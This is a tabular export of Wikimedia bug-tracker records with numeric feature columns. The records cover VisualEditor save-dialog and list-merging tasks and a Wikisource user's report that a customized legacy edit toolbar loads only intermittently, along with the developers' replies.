200452,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",Filing without prejudice as to whether we should implement.,,,1360206161,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,40.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,40.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.1,1.0,Filing without prejudice as to whether we should implement.
44136,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage","When using VisualEditor currently when creating a page, the ""Save page"" dialog box has two checkboxes below the edit summary input: ""This is a minor edit"" and ""Watch this page"".

The ""Watch this page"" checkbox is not auto-checked, even though it is (for my account) via the non-VisualEditor editor. There's a user preference (""Add pages I create and files I upload to my watchlist"") that controls whether this checkbox is checked by default when creating a page. VisualEditor currently ignores the value of this user preference. It should respect it.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1352957160,1354835188.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,0.5,0.5,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,4.0,5.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,1.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,16.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,10.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,4.5,5.0,2.5,0.0,5.5,0.0,4.5,0.0,2.5,2.5,0.0,1.5,0.0,0.0,0.0,3.9191176470588234,0.7132352941176471,"When using VisualEditor currently when creating a page, the ""Save page"" dialog box has two checkboxes below the edit summary input: ""This is a minor edit"" and ""Watch this page"".

The ""Watch this page"" checkbox is not auto-checked, even though it is (for my account) via the non-VisualEditor editor. There's a user preference (""Add pages I create and files I upload to my watchlist"") that controls whether this checkbox is checked by default when creating a page. VisualEditor currently ignores the value of this user preference. It should respect it.

--------------------------
**Version**: unspecified
**Severity**: minor"
200362,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage",Change-Id: Ic3daf32505a745b3cccd0663a03bbf7f3885be84,,,1354773511,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ic3daf32505a745b3cccd0663a03bbf7f3885be84
200357,"VisualEditor: ""Watch this"" checkbox in Save dialog should use same logic as core EditPage","If
- option ""Watch pages I edit (watchdefault)
- option ""Watch pages I create (watchcreations)"" (and this is a page creation)
- the page is already watched by the user for whatever reason",,,1354773101,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-u4tbayn5u7dwwaa4yhrw,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,7.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.511111111111111,0.6222222222222222,"If
- option ""Watch pages I edit (watchdefault)
- option ""Watch pages I create (watchcreations)"" (and this is a page creation)
- the page is already watched by the user for whatever reason"
44115,VisualEditor: Merging behaviour of lists should be looked at,"

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66452",Low,25.0,1352935080,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-53f6o63dslfan6juoyu2,task_description,open,True,c1,0,True,False,,-33,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.42857142857142855,"

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
199254,VisualEditor: Merging behaviour of lists should be looked at,I'm assuming that this is a high level tracking purpose ticket.,,,1362183560,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-53f6o63dslfan6juoyu2,task_subcomment,,True,c1,1,False,,,-18,,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.076923076923077,1.0,I'm assuming that this is a high level tracking purpose ticket.
199250,VisualEditor: Merging behaviour of lists should be looked at,"**orbit** wrote:

Any details?",,,1362181189,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-53f6o63dslfan6juoyu2,task_subcomment,,True,c1,1,False,,,-18,,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5454545454545454,0.7272727272727273,"**orbit** wrote:

Any details?"
56363,[DO NOT USE] VisualEditor: Tracking bugs for VisualEditor (tracking) [superseded by #VisualEditor],"[Unused; we don't do tracking bugs, post-Phabricator transition.]

A central place for people to keep track of tracking bugs for VisualEditor. (Yay for bug meta-ness.)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1379656500,1416796877.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ncpmmwig7janid6ikysj,task_description,invalid,True,c1,3,True,True,False,11,,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,3.810344827586207,0.6896551724137931,"[Unused; we don't do tracking bugs, post-Phabricator transition.]

A central place for people to keep track of tracking bugs for VisualEditor. (Yay for bug meta-ness.)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
513028,[DO NOT USE] VisualEditor: Tracking bugs for VisualEditor (tracking) [superseded by #VisualEditor],[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343622,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ncpmmwig7janid6ikysj,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
56308,Customized legacy edit toolbar does not always load correctly,"Missing scan and edit toolbar

I am posting three separate bugs and mentioning this in this first report because they are somewhat related.

The user defined edit toolbar, defined in my very simple
https://en.wikisource.org/wiki/User:Ineuw/common.js stopped functioning in this latest version of the mw software. In versions previous, it worked reliably and always, permitting me greatly increased productivity. The toolbar does show up intermittently and occasionally. 

Regardless of the toolbutton definition syntax used, the same intermittent functioning is the result. The syntax is either the current definition one, or an older one:

mw.toolbar.addButton(
        '',
        ' Æ ',
        'Æ',
        '',
        '',
        ''
);

I also used the definitions without image buttons, thinking that this may be the cause, but it doesn't make a difference.

The problem is also not browser related. I tried other browsers and OS's as well:

Firefox in Windows, Xubuntu, and Apple OSX.
Safari in Windows and Apple OSX.
Google Chrome in Windows and Linux (Xubuntu).
but the intermittent behaviour is the same. . . . . 

Finally, this is also true on the Commons and Wikipedia, where it's less critical because I am not so active on those wikis.

Please see attached image.

--------------------------
**Version**: master
**Severity**: normal

**Attached**: {F11589}",Lowest,10.0,1379578860,1379736095.0,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,False,PHID-TASK-r3avdlac5as6usqbtpvz,task_description,declined,True,c1,3,False,False,True,11,,0.0,0.0,0.6666666666666666,0.0,1.0,6.333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,2.6666666666666665,3.0,0.0,0.3333333333333333,0.0,2.0,1.3333333333333333,6.666666666666667,5.333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,1.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.3333333333333333,8.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.333333333333333,3.0,12.666666666666666,1.3333333333333333,4.333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,1.0,0.0,3.3333333333333335,5.333333333333333,8.333333333333334,0.0,1.3333333333333333,0.0,3.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.0,0.6666666666666666,0.3333333333333333,0.0,4.03598357596118,0.6500186636804778,"Missing scan and edit toolbar

I am posting three separate bugs and mentioning this in this first report because they are somewhat related.

The user defined edit toolbar, defined in my very simple
URL stopped functioning in this latest version of the mw software. In versions previous, it worked reliably and always, permitting me greatly increased productivity. The toolbar does show up intermittently and occasionally. 

Regardless of the toolbutton definition syntax used, the same intermittent functioning is the result. The syntax is either the current definition one, or an older one:

mw.toolbar.addButton(
        '',
        ' Æ ',
        'Æ',
        '',
        '',
        ''
);

I also used the definitions without image buttons, thinking that this may be the cause, but it doesn't make a difference.

The problem is also not browser related. I tried other browsers and OS's as well:

Firefox in Windows, Xubuntu, and Apple OSX.
Safari in Windows and Apple OSX.
Google Chrome in Windows and Linux (Xubuntu).
but the intermittent behaviour is the same. . . . . 

Finally, this is also true on the Commons and Wikipedia, where it's less critical because I am not so active on those wikis.

Please see attached image.

--------------------------
**Version**: master
**Severity**: normal

**Attached**: {F11589}"
246292,Customized legacy edit toolbar does not always load correctly,"I ask that this bug be closed, since I accepted the demise of the old wiki toolbar.",,,1379736095,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,11.0,11.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.526315789473684,0.8947368421052632,"I ask that this bug be closed, since I accepted the demise of the old wiki toolbar."
246289,Customized legacy edit toolbar does not always load correctly,"(In reply to comment #8)
> I also got the same Firefox (23.0.1) error as Andre Klapper. If this seems to
> be the cause, can't it be corrected?

It might either be an issue in your code in common.js, or some changes in MediaWiki. Apart from Alex' cleanup which got merged at the beginning of September I cannot see any changes in
https://git.wikimedia.org/history/mediawiki%2Fcore.git/HEAD/resources%2Fmediawiki.action%2Fmediawiki.action.edit.js

> Finally, this is a very big disappointment because the replacement option is
> very awkward. Among other things, it takes up (and unnecessarily) a lot of
> screen real estate and I work on a 22"" screen.

I don't see that big difference in size. Not sure if we refer to the same things?
The legacy toolbar had enough issues (e.g. it was never meant to be expanded so inserting required exposing and dealing with implementation details) so it got replaced by the current toolbar.",,,1379680607,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,2.0,2.5,4.5,0.5,0.0,0.0,1.0,4.5,1.5,0.0,0.0,0.0,2.5,0.0,6.0,10.5,0.0,1.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,2.5,2.5,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,3.5,2.5,9.5,2.0,1.5,6.0,0.0,0.0,0.0,0.5,3.5,0.0,1.0,0.0,5.0,10.5,3.5,1.0,0.5,0.0,5.0,0.0,0.5,0.5,0.0,2.5,0.0,0.0,0.0,3.8333333333333335,0.8421052631578947,"(In reply to comment #8)
QUOTE
QUOTE

It might either be an issue in your code in common.js, or some changes in MediaWiki. Apart from Alex' cleanup which got merged at the beginning of September I cannot see any changes in
URL

QUOTE
QUOTE
QUOTE

I don't see that big difference in size. Not sure if we refer to the same things?
The legacy toolbar had enough issues (e.g. it was never meant to be expanded so inserting required exposing and dealing with implementation details) so it got replaced by the current toolbar."
246284,Customized legacy edit toolbar does not always load correctly,"I am not the only one who is using the toolbar at Wikisource. While other users have occasional issues, theirs seem to work on most cases. 

I also got the same Firefox (23.0.1) error as Andre Klapper. If this seems to be the cause, can't it be corrected?

Finally, this is a very big disappointment because the replacement option is very awkward. Among other things, it takes up (and unnecessarily) a lot of screen real estate and I work on a 22"" screen. Krinkle's opinion is akin to taking away a mechanic's trusted tools because he doesn't personally favor them. He should try his hand at some proofreading for a day or two.",,,1379623232,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.5,0.0,1.0,0.5,1.5,6.0,3.0,1.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,1.5,0.5,5.5,10.5,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,6.5,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,3.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.0,4.0,7.5,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,6.5,10.5,2.5,0.5,0.5,0.0,6.5,0.0,0.5,3.5,0.5,1.0,0.0,0.5,0.0,3.7941176470588234,0.8308823529411764,"I am not the only one who is using the toolbar at Wikisource. While other users have occasional issues, theirs seem to work on most cases. 

I also got the same Firefox (23.0.1) error as Andre Klapper. If this seems to be the cause, can't it be corrected?

Finally, this is a very big disappointment because the replacement option is very awkward. Among other things, it takes up (and unnecessarily) a lot of screen real estate and I work on a 22"" screen. Krinkle's opinion is akin to taking away a mechanic's trusted tools because he doesn't personally favor them. He should try his hand at some proofreading for a day or two."
246278,Customized legacy edit toolbar does not always load correctly,"To quote Krinkle: 
""The classic edit toolbar has long been deprecated. The default was replaced
with WikiEditor on Wikimedia in a 2010 deployment"", plus VisualEditor is also around the corner.
Setting lowest priority, might be even a WONTFIX.",,,1379601766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,18.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,4.224489795918367,0.8367346938775511,"To quote Krinkle: 
""The classic edit toolbar has long been deprecated. The default was replaced
with WikiEditor on Wikimedia in a 2010 deployment"", plus VisualEditor is also around the corner.
Setting lowest priority, might be even a WONTFIX."
246273,Customized legacy edit toolbar does not always load correctly,"Created attachment 13327
Character selection moved too low in new mw software version

To the attention of Andre Klapper

This is the missing image of the drop down character set selector

**Attached**: {F11593}",,,1379590215,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.159090909090909,0.8181818181818182,"Created attachment 13327
Character selection moved too low in new mw software version

To the attention of Andre Klapper

This is the missing image of the drop down character set selector

**Attached**: {F11593}"
246270,Customized legacy edit toolbar does not always load correctly,"Created attachment 13325
old style toolbar coding

This text contains the legacy toolbar layout, without captions by the elements, no images, and notice the function syntax difference. It doesn't matter which I use, the behaviour is identical.

mw.toolbar.addButton(

and NOT 

mw.toolbar.addButtons(

**Attached**: {F11592}",,,1379589793,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.415384615384616,0.7384615384615385,"Created attachment 13325
old style toolbar coding

This text contains the legacy toolbar layout, without captions by the elements, no images, and notice the function syntax difference. It doesn't matter which I use, the behaviour is identical.

mw.toolbar.addButton(

and NOT 

mw.toolbar.addButtons(

**Attached**: {F11592}"
246266,Customized legacy edit toolbar does not always load correctly,"Created attachment 13324
Legacy edit toolbar displayed.

**Attached**: {F11591}",,,1379589573,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.8421052631578947,"Created attachment 13324
Legacy edit toolbar displayed.

**Attached**: {F11591}"
246259,Customized legacy edit toolbar does not always load correctly,"Hi. I am sorry to confuse you. The new edit toolbar was activated so that I could take a proper snapshot and I forgot to turn it off. Otherwise, it's not usable for me at the moment.

Wikisource users, who use edit toolbar buttons, use the ""legacy"" old style because it's more versatile. For my main project work of Popular Science Monthly, I only need the 12-14 extended ANSI to accommodate French and German and occasionally Greek. 

I am also working on Hebrew/Arabic texts, and not being able to access the dropdown box of character selections, this forced me to try using the ""advanced"" WikiEditor toolbar in which my language setting places things in reverse order.

I am attaching what should be the correct display of the legacy toolbar when it works.",,,1379589495,,PHID-USER-kdpydfvhr2l2qcrbvvz7,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.5,1.0,9.0,2.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,5.5,0.0,4.5,10.0,0.0,3.0,0.5,0.5,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,5.0,0.5,2.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,5.0,3.5,11.5,2.0,2.5,6.5,0.0,0.0,0.0,0.0,4.5,0.5,1.5,0.0,8.0,10.0,4.0,0.0,2.5,0.0,8.0,0.0,2.5,0.5,1.0,2.5,0.5,0.0,0.0,3.964240506329114,0.7674050632911392,"Hi. I am sorry to confuse you. The new edit toolbar was activated so that I could take a proper snapshot and I forgot to turn it off. Otherwise, it's not usable for me at the moment.

Wikisource users, who use edit toolbar buttons, use the ""legacy"" old style because it's more versatile. For my main project work of Popular Science Monthly, I only need the 12-14 extended ANSI to accommodate French and German and occasionally Greek. 

I am also working on Hebrew/Arabic texts, and not being able to access the dropdown box of character selections, this forced me to try using the ""advanced"" WikiEditor toolbar in which my language setting places things in reverse order.

I am attaching what should be the correct display of the legacy toolbar when it works."
246252,Customized legacy edit toolbar does not always load correctly,"Hi ineuw,

your screenshot looks like the old toolbar to me, instead of the WikiEditor toolbar. Is that intended or part of the problem?

The WikiEditor toolbar should look like your screenshot in https://bugzilla.wikimedia.org/attachment.cgi?id=13323

I went to 
https://en.wikisource.org/w/index.php?title=Page:Popular_Science_Monthly_Volume_63.djvu/155&action=edit
to reproduce the problem (Firefox 23.0.1) and switched to horizontal layout.

I also copied your ""common.js"" file to my user account (the file basically just has a number of ""mw.toolbar.addButtons"" calls).

The scanned image still loads for me, and I get the correct WikiEditor toolbar, but in Firefox' Error Console I get:

Timestamp: 09/19/2013 11:52:12 AM
Error: TypeError: mw.toolbar is undefined
Source File: https://bits.wikimedia.org/en.wikisource.org/load.php?debug=false&lang=en&modules=user&only=scripts&skin=vector&user=AKlapper+%28WMF%29&version=20130919T095201Z&*
Line: 1

I have bug 47872 in mind.",,,1379585655,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-r3avdlac5as6usqbtpvz,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,4.5,0.0,3.0,7.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,16.0,0.0,2.5,5.5,0.0,0.0,0.0,0.0,1.0,0.5,3.0,0.0,6.0,7.5,8.5,0.5,3.0,0.0,6.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,3.910958904109589,0.7054794520547945,"Hi ineuw,

your screenshot looks like the old toolbar to me, instead of the WikiEditor toolbar. Is that intended or part of the problem?

The WikiEditor toolbar should look like your screenshot in URL

I went to 
URL
to reproduce the problem (Firefox 23.0.1) and switched to horizontal layout.

I also copied your ""common.js"" file to my user account (the file basically just has a number of ""mw.toolbar.addButtons"" calls).

The scanned image still loads for me, and I get the correct WikiEditor toolbar, but in Firefox' Error Console I get:

Timestamp: 09/19/2013 11:52:12 AM
Error: TypeError: mw.toolbar is undefined
Source File: URL
Line: 1

I have bug 47872 in mind."
